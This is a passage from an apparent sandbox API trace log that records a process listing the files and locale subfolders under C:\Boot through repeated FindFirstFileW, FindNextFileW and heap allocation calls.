	[0249.368] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.368] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.368] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.368] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.368] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0249.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.369] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.369] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.369] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.369] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.369] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.369] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.369] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0249.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.369] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.369] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.369] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0249.369] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0249.369] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0249.370] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0249.370] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0249.370] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0249.370] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.370] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.370] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0249.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.370] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.370] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.370] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.371] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.371] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.371] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.371] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0249.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.371] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.371] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.371] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.371] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.371] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.371] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.371] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0249.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.371] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.371] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.371] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.372] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.372] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.372] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.372] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0249.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.372] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.372] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.372] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.372] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.372] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.372] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.372] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0249.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.372] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.372] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.373] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.373] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.373] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.373] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.373] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0249.373] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0249.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
